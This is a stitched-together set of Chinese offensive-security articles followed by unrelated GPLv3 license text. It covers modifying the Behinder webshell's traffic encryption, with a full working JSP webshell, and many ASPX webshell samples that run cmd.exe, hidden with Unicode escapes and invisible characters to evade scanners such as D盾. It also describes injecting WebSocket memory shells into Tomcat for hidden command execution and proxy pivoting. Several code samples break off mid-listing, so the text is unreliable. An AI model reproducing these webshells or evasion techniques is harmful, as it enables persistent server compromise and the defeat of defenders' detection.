感觉冰蝎流量魔改的文章比较少我自己琢磨了一下感觉简单地做个流量魔改并不复杂发出来供大家参考。我自己是个Java笨比有问题的地方欢迎大佬们评论区指正共同学习。
0x00 冰蝎源码
---------
冰蝎源码的获取可以下载冰蝎用idea自带的反编译工具去反编译我这里直接用github搜到的别人整理好的反编译代码了[https://github.com/x1a0t/Behinder-Source](https://github.com/x1a0t/Behinder-Source%EF%BC%89)
0x01 Crypt.java的修改
------------------
### 1加密函数
在Crypt.java中可以修改Encrypt、EncryptForPhp这类加密函数的逻辑比如在返回结果数据前对结果做自定义的加密处理。我这里的例子就是在原有的AES基础上做了个base64编码。
note`public static byte[] Encrypt(byte[] bs, String key, String scriptType, int encryptType)`这个函数不用改。
我看了下这个函数是在进最后的return前进了其他被改了逻辑的加密函数比如EncryptForPhp其他函数改过了这里就不用动了。我最开始没仔细看代码的时候想着人家写了个汇总函数在这里改应该挺快捷的结果发现这里虽然写了个汇总的函数但是有些时候调用加密还是调用了具体的加密函数比如EncryptForPhp所以这里就不用管这个函数了。
修改的例子:
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710203841-3a665d52-004d-1.png)
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710203848-3f1843d8-004d-1.png)
### 2解密函数
修改Crypt.java里的Decrypt函数我这里是做的base64编解码只要在这个总的Decrypt函数开头做一次解码就行了各位大佬们可以根据自己选用的编解码方式自行修改这些Decrypt函数
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710204208-b60f5558-004d-1.png)
0x02 payload的修改
---------------
我自己对jsp马做了个简单的跟踪调试发现解密函数解密的流量应该是被客户端塞进去的payload里的xxx.class发出来的这些流量发出来之前会调用payload里xxx.class的Encrypt()函数做个流量加密。所以这里的思路是把payload里存在Encrypt()函数的xxx.class的Encrypt()函数加密逻辑都修改一下,就能贯通整个加解密通讯流程了。
具体操作还是以jsp增加base64编码举例子
因为演示的是jsp的部分就去修改net.rebeyond.behinder.payload.java下面的Java代码文件找到里面的Encrypt()函数payload里的Java代码挨个找找改一下并不是每一个文件都有Encrypt这里没有就不管去修改加密逻辑就行了
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710204655-612c50b2-004e-1.png)
note`别的语言的payload里的加密函数也叫encrypt(最多有些大小写区别)但是要修改的话需要用对应的语言去修改其中C#的是dll文件需要额外的姿势欢迎评论区老哥补充这方面方便的思路`
以php为例子加密函数修改如下
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205003-d10f6fae-004e-1.png)
0x03 webshell马子的修改
------------------
以jsp为例这里就是在原本的base64解码里又套了一层base64解码
```
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(new String(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))))).newInstance().equals(pageContext);}%>
```
0x04 打包与测试
----------
用maven做package打包完成后要用的是名字长的那个jar包Behinder-3.0-beta-11\_t00ls-jar-with-dependencies.jar
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205545-9d414f66-004f-1.png)
本地运行,测试(命令执行、内网穿透等功能正常,不过数据库连接功能拉闸了):
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205614-ae3af2cc-004f-1.png)
[![](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
](https://xzfile.aliyuncs.com/media/upload/picture/20220710205624-b47b1856-004f-1.png)
有两个还没解决的东西:
1.C#部分的dll文件处理(欢迎老哥们在评论区发点儿快捷的处理方法、思路)
2.数据库连接功能出现了bug暂时还没去调试老哥们有知道的欢迎评论区重拳出击

### .NET WebShell 免杀系列之Unicode编码
由dotNet安全矩阵星球圈友们组成的微信群里大家伙常常聊着.NET话题这不今天有个群友问.NET WebShell 绕过和免杀的方法,而.NET下通常用Process或其他的类和方法触发命令执行本文不走曲线救国的路线走硬刚Unicode编码绕过的方式Bypass主流的webshell查杀工具那么是如何免杀的呢请阅读者保持好奇心跟随笔者一探究竟吧
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8hqpMIY2QyIic8psNgLbVzzt0cUEZVhg3X2ezH2foTzaBwp9sG2yxFkw/640?wx_fmt=png)
2.1 起源
------
早期美帝的程序员没有意识到英语只是全世界所有语言中的一种他们以为26个英文字母再加上一些其它符号就够用了所以就只有ASCII码但是随着互联网的发展他们终于意识到软件原来还是需要给不同国家不同语言的人来使用的所以就开始有了其它的编码方法但因为缺少一个一统天下的标准所以乱码问题非常严重。而 Unicode 就是要来解决这个问题20世纪80年代末Unicode协会成立该协会成立的目的在于用一个足够大统一的字符集来支持世界上的所有语言简单的说`Unicode是一套通用的字符集包含世界上的大部分字符`。Unicode协会在1991年首次发布了The Unicode Standard之后每1-2年发布一个大的版本以增加重大特性。从2013年9月Unicode6.3发布之后Unicode一直保持一个相对稳定的发布周期在每年的上半年发布一个新版本。直至2020年3月Unicode的版本为Unicode 13.0.0在最新的Unicode13版本中包含了大约14万字符可以支持154种脚本的文本显示除了定义哪些字符会被涵盖外它还要定义每个字符所对应的码位。
2.2 码位
------
码位英文名为 Code point 或 Code position Unicode 字义了字符集合后,需要为每个字符指定一个数字,这样计算机才有办法处理。假如字符集中有 1 万个字符,那就需要 1 万个数字,每个字符对应一个数字,这所有的 1 万个数字就构成了编码空间,而每个数字就是对应的字符的码位。
2.3 UTF-8字符集
------------
UTF-8 应用非常广泛,即使是个刚入行的小白,也应该会经常听到前辈说,“把文件保存成 UTF-8”“这个讨厌的网站居然用的是 GB2312 编码”,等等。之所以这么流行,是因为 UTF-8 完全兼容 ASCII对于 ASCII 字符UTF-8 使用和 ASCII 完全一样的编码方式,同样只使用一个字节,这就意味着,如果被编码的字符仅含 ASCII 字符,那即使是用 UTF-8 进行编码,只支持 ASCII 的旧系统仍然能够准确地解码。同时,如果被编码的字符大部分是 ASCII 字符因为只占用一个字节UTF-8 也最节省空间 .NET 在设计过程中就考虑了对 Unicode 字符的支持,**char**是 .NET Framework 中的 **System.Char**对象,也是最基本的字符类型 ,每个`char`都是一个 Unicode 字符。它在内存中占用 2 个字节,取值范围为 0-65535UTF8将每个Unicode标量值映射成一到四个无符号的8比特的编码单元这是一种变长的编码方案码位大于`\xFFFF`的字符使用4字节存储小于等于`\xFFFF`大于`\x07FF`的使用3字节小于等于`\x07FF`大于`\x007F`的使用2字节小于等于`\x007F`使用1字节因为UTF8性能效率都很高所以很多的网站和应用程序、媒体设备都使用它。理论就介绍这么多接下来看一些案例 比如常规的.NET启动进程代码
<%@ Page Language="C#" trace="false" validateRequest="false"
EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
protected void Page\_load(object sender, EventArgs e)
{
System.Diagnostics.Process.Start("cmd.exe","/c calc");
}
</Script>
2.4 UTF-16字符集
-------------
一种变长的编码格式,码位大于`\xFFFF`的字符使用4字节存储小于等于`\xFFFF`的字符使用2字节存储将Process.Start方法使用UTF16编码为Process.\\u0053\\u0074\\u0061\\u0072\\u0074如下图
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8qd1SIoa2xJiaP6yyoaHQPfqlw2Usa4MEOM0u5aibMSibQhQsfzJy4YpAQ/640?wx_fmt=png)
还可以对完全限定路径做编码,注意 `.` 不能编码为 `\u002e`,否则编译器会抛出异常,如下编码 System.Diagnostics.Process.Start即使换行也不影响运行
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load()
{
\\u0053\\u0079\\u0073\\u0074\\u0065\\u006d.
\\u0044\\u0069\\u0061\\u0067\\u006e\\u006f\\u0073\\u0074\\u0069\\u0063\\u0073.
\\u0050\\u0072\\u006f\\u0063\\u0065\\u0073\\u0073.
\\u0053\\u0074\\u0061\\u0072\\u0074("cmd.exe","/c calc");
}
</Script>
分别用安全狗和D盾测试免杀效果同目录下还有另外3个文件aspx.aspx 是经典Jscript一句话木马aspxspy.aspx 看文件名就知道是经典大马xls.aspx 是基于xml文档实现的小马对比被杀的3个WebshellUnicode编码后的webshell免杀效果非常理想如下图unicode.aspx
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8ys5jLsYrNCA2tQibz3SfyLf8nsKwYKln9u77z1qibmUYKM0M49LibVKdA/640?wx_fmt=png)
2.5 UTF-32字符集
-------------
Unicode 的编码空间为 0xFFFF - 0x10FFFF那可以想到的最简单的办法就是让每个码位对应一个 32 位 (4 bytes) 二进制数,这就是 UTF-32 编码。所以在 UTF-32 中,每个字符占用 4 个字节它是一种定长编码格式使用32位表示Unicode中的一个码位。由于Unicode的码位实际只用了21位所以多余部分前导0。例如字符小写字母a对应码位为`\x61`,存储的字节序列为:`\x00000061`。如下代码保存为U32.aspx尝试用D盾扫描只扫出上述3个经典webshell并未检测出UTF32编码后的恶意样本
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false" validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Process.
\\U00000053\\U00000074\\U00000061\\U00000072\\U00000074("cmd.exe","/c calc");

Unicode标准中码位的表示方法通常是使用它们的十六进制并加上`U+`前缀。码位的分类方法多种多样。我们通过下表来阐明Unicode标准使用的几种平面和一些术语。
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8bwXnsHcgoZWKanqEp8klDGe88pTic0ub0Vq9mHa39qCRg9o02bO4Fwg/640?wx_fmt=png)
3.1 基本多语言平面
-----------
基本多语言平面全称Basic Multilingual Plane简称 BMP也是Unicode编码中最重要的平面包含了几乎所有常用的系统和符号码位范围U+0000 - U+FFFF除了常见的符号外在 BMP中还有拉丁字符和其他欧洲字符如希腊、西里尔字母、非洲、亚洲字符此外BMP中保留了自定义字符的私人使用空间。另外又细分了163块内容以下列出其中的6块内容用于举例说明
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW88Kkzqu46Y6tTKibialveGJy5Pyz5EVEuQx08Fhq6CtuvwaFbcwWD7Dpw/640?wx_fmt=png)
3.2 补充多语言平面
-----------
补充多语种平面全称Supplementary Multilingual Plane简称 SMP码位范围U+10000 - U+1FFFF这个平面包含很少使用的历史系统符号例如多米诺骨牌的标志。另外又细分了134块内容以下列出其中的6块内容用于举例说明
![](https://mmbiz.qpic.cn/mmbiz_png/NO8Q9ApS1Yibg61GNvEncE4xHQmJLXMW8yhDI6tSqh43xvdGibx3oRLPCeyTjIfCfq68cIyibVMriawnxHtdKFoic3g/640?wx_fmt=png)
3.3 补充表意平面
----------
补充表意平面全称Supplementary Ideographic Plane简称 SIP码位范围U+20000 - U+2FFFF这个平面只有日文、中文和韩文字符并且它们很少被使用另外仅有6块内容笔者就不再列出
3.4 未分配区域
---------
未分配区域全称unassigned码位范围 U+30000 - U+DFFFF 尚未被占用,由于可能出现在系统之外的字符,所以这些字符可能会在某些时候被分配用到。
3.5 补充专用平面
----------
补充专用平面全称Supplement­ary Special-purpose Plane简称 SSP码位范围 U+E0000 - U+EFFFF ,该区域包含非图形符号和替代字形扇区,这些可用于文字字符无法描绘的内容。
3.6 私人使用区
---------
私人使用区全称Supplement­ary Private Use Area planes简称 SPUAP码位范围 U+F0000 - U+10FFFF 保留给私人使用Unicode Consortium没有明确定义这些字符因此无法统一使用。
BMP中有一块内容是通用标点符号码位范围 U+2000 U+206F 这个区域分配了111个字符我们需要关心的字符大约有10个这些基本都是非打印不可见的字符可被利用拆解代码里敏感的类名或方法名
4.1 零宽度非连接器
-----------
零宽度非连接器ZERO WIDTH NON-JOINERZWNJ `U+200C、U+0000200C` 通常使用在波斯语多个文字连在一起时起到分割符作用,零宽度非连接符会告诉字体引擎不要将它们组合在一起,这是系统中使用的非打印字符。笔者在.NET代码里用它拆解Process类名和Start方法名如下
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\U0000200Ccess.Star\\u200Ct("cmd.exe","/c calc");
}
</script>
4.2 零宽度连接器
----------
零宽度连接器ZERO WIDTH JOINERZWJ `U+200D、U+0000200D` 通常使用在梵文,零宽度连接器与零宽度非连接器相反,当多个原本不会连接的字符之间时,零宽度连接符会使它们以连接的形式打印在一起。如下代码
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u200Dcess.Star\\u200Dt("cmd.exe","/c calc");
}
</script>
4.3 由左到右标记
----------
从左到右标记符 (LRM) `U+200E、U+0000200E` 是一种不可见的格式化字符用于Microsoft Word 等程序中的文字处理,像西里尔语从左到右文本、如叙利亚语从右到左的文本,用于设置相邻字符相文本方向的分组方式。
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u200Ecess.Star\\u200Et("cmd.exe","/c calc");
}
</script>
4.4 由右到左标记
----------
从右到左标记符 (RLM) `U+200F 、U+0000200F` 是一种不可见的格式化字符和4.3用法正好相反,用于设置相邻字符相文本方向的分组方式。
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u200Fcess.Star\\u200Ft("cmd.exe","/c calc");
}
</script>
4.5 由左到右嵌入
----------
从左到右嵌入符 (LRE) `U+202A、U+0000202A` 从 Unicode 6.3 开始,不鼓励使用`U+2066`嵌入的字符会影响外部字符的顺序。
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Acess.Start("cmd.exe","/c calc");
}
</script>
4.6 由右到左嵌入
----------
从右到左嵌入符 (RLE) `U+202B、U+0000202B` 从 Unicode 6.3 开始,不鼓励使用`U+2067`嵌入中的字符会影响外部字符的顺序
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Bcess.Start("cmd.exe","/c calc");
}
</script>
4.7 定向格式化
---------
Pop Directional FormattingPDF `U+202C、U+0000202C`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Ccess.Start("cmd.exe","/c calc");
}
</script>
4.8 由左到右覆盖符
-----------
从左到右覆盖符LRO `U+202D、U+0000202D`,字符正向显示顺序
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Dcess.Start("cmd.exe","/c calc");
}
</script>
4.9 由右到左覆盖符
-----------
从右到左覆盖符RLO `U+202E、U+0000202E`,它的特性是可以反转其他字符的显示顺序,比如`DotNet安全矩阵`,给每个字符前面加上\\u202E`\u202ED\u202Eo\u202Et\u202EN\u202Ee\u202Et\u202E安\u202E全\u202E矩\u202E阵`就会变成 `阵矩全安teNtoD`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\u202Ecess.Start("cmd.exe","/c calc");
}
</script>
4.10 零宽度不间断空格
-------------
零宽度不间断空格ZWNBSP `U+FEFF、U+0000FEFF`,一般用于文件开头的字节顺序标记 (BOM),在 UTF-16 中BOM 是两个字节Big-endian 对应的 BOM 是 0xFEFFLittle-endian 对应的 BOM 是 0xFFFE。
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\uFEFFcess.Start("cmd.exe","/c calc");
}
</script>
4.11 行间注解终止符
------------
行间注解终止符 `U+FFFB、U+0000FFFB`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\uFFFBcess.Start("cmd.exe","/c calc");
}
</script>
4.12 行间标记注释符
------------
行间标记注释符 `U+FFF9、U+0000FFF9`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){
System.Diagnostics.Pro\\uFFF9cess.Start("cmd.exe","/c calc");
}
</script>
4.13 行间标记分割符
------------
行间标记分割符 `U+FFFA、U+0000FFFA`
<%@ Page Language="C#" ResponseEncoding="utf-8" trace="false"
validateRequest="false" EnableViewStateMac="false" EnableViewState="true"%>
<script runat="server">
public void Page\_load(){

该工具没什么技术含量学了一点javafx使用jdk8开发出了几个简单功能用来管理webshell。页面比较low。
工具整合并改写了各类webshell支持各个语言的cmd、蚁剑、冰蝎、哥斯拉又添加了实际中应用到的一些免杀技巧以方便实际需要。
## 使用说
直接下载releases版即可

兼容性测试
-------
#### 1目前测试通过
Tomcat、Spring、Jetty、WebSphere、WebLogic
Nodejs (无法动态注入,需要修改代码后重启服务)
#### 2还未进行测试
Jboss(WildFly)
#### 3无法使用的场景
1.使用了Nginx等代理未配置Header转发 支持WebSocket
2.使用了CDNCDN供应商未支持WebSocket服务
1.前言
----
WebSocket是一种全双工通信协议即客户端可以向服务端发送请求服务端也可以主动向客户端推送数据。这样的特点使得它在一些实时性要求比较高的场景效果斐然比如微信朋友圈实时通知、在线协同编辑等。主流浏览器以及一些常见服务端通信框架Tomcat、Spring、Jetty、WebSphere、WebLogic等都对WebSocket进行了技术支持。
本文都以Tomcat进行介绍讨论其他框架也可实现WebSocket内存马
2.版本
----
2013年以前还没出JSR356标准Tomcat就对Websocket做了支持自定义API再后来有了JSR356Tomcat立马紧跟潮流废弃自定义的API实现JSR356那一套这就使得在Tomcat7.0.47之后的版本和之前的版本实现方式并不一样,接入方式也改变了。
JSR356 是java制定的websocket编程规范属于Java EE 7 的一部分所以要实现websocket功能并不需要任何第三方依赖。
3.服务端实现方式
---------
#### 1注解方式
```
@ServerEndpoint(value = "/ws/{userId}", encoders = {MessageEncoder.class}, decoders = {MessageDecoder.class}, configurator = MyServerConfigurator.class)
```
Tomcat在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务
所以即使 Tomcat 没有扫描到 `@ServerEndpoint`注解的类也会进行Listener和 servlet注册这就是为什么所有Tomcat启动都能在memshell scanner内看到WsFilter
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XB8gUH3cR11gW4QtAaQ9jibMic7dJpzlDyIPlQ1ibuyFSyyCyicibqfFHGibTgorHmo7StKqdRWdDULqZcj8MDegicyNg/640?wx_fmt=png)
#### 2继承抽象类Endpoint方式
继承抽象类 `Endpoint`方式比加注解 `@ServerEndpoint`方式更麻烦,主要是需要自己实现 `MessageHandler``ServerApplicationConfig``@ServerEndpoint`的话都是使用默认的,原理上差不多,只是注解更自动化,更简洁
可以用代码更方便的控制 ServerEndpointConfig 内的属性
```
ServerEndpointConfig serverEndpointConfig = ServerEndpointConfig.Builder.create(WebSocketServerEndpoint3.class, "/ws/{userId}").decoders(decoderList).encoders(encoderList).configurator(new MyServerConfigurator()).build();
```
3.websocket内存马实现方法
------------------
之前提到过 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 `classpath`下带有 `@ServerEndpoint`注解的类进行 `addEndpoint`加入websocket服务
那如果在服务启动后我们再 addEndpoint 加入websocket服务行不行呢答案是肯定的而且非常简单只需要三步。创建一个ServerEndpointConfig获取ws ServerContainer加入 ServerEndpointConfig即可
```
ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build();
ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName());
container.addEndpoint(config);
```
4.效果
----
首先利用i.jsp注入一个websocket服务路径为/x注入后利用ws连接即可执行命令
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XB8gUH3cR11gW4QtAaQ9jibMic7dJpzlDyUjXicQAW5TEAyHuOdJuS52vcXazKeO2iah5twL0KkTEoa0icJib3MVL9gw/640?wx_fmt=png)
且通过memshell scanner查询不到任何异常因为根本就没注册新的 Listener、servlet 或者 Filter
![](https://mmbiz.qpic.cn/sz_mmbiz_png/XB8gUH3cR11gW4QtAaQ9jibMic7dJpzlDyFz5ZbjxcicSa3ll4ic2uRyhaiccVIibC6IOy2fRDGMn5DuuSY8ibK0TK7CA/640?wx_fmt=png)
5.代理
----
WebSocket是一种全双工通信协议它可以用来做代理且速度和普通的TCP代理一样快这也是我研究websocket内存马的原因。
例如有一台不出网主机,有反序列化漏洞。
以前在这种场景下可能会考虑上reGeorg或者利用端口复用来搭建代理。
现在可以利用反序列化漏洞直接注入websocket代理内存马然后直接连上用上全双工通信协议的代理。
注入完内存马以后,使用 Gosthttps://github.com/go-gost/gost 连接代理
```
./gost -L "socks5://:1080" -F "ws://127.0.0.1:8080?path=/proxy"
```
然后连接本地1080端口socks5即可使用代理

Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
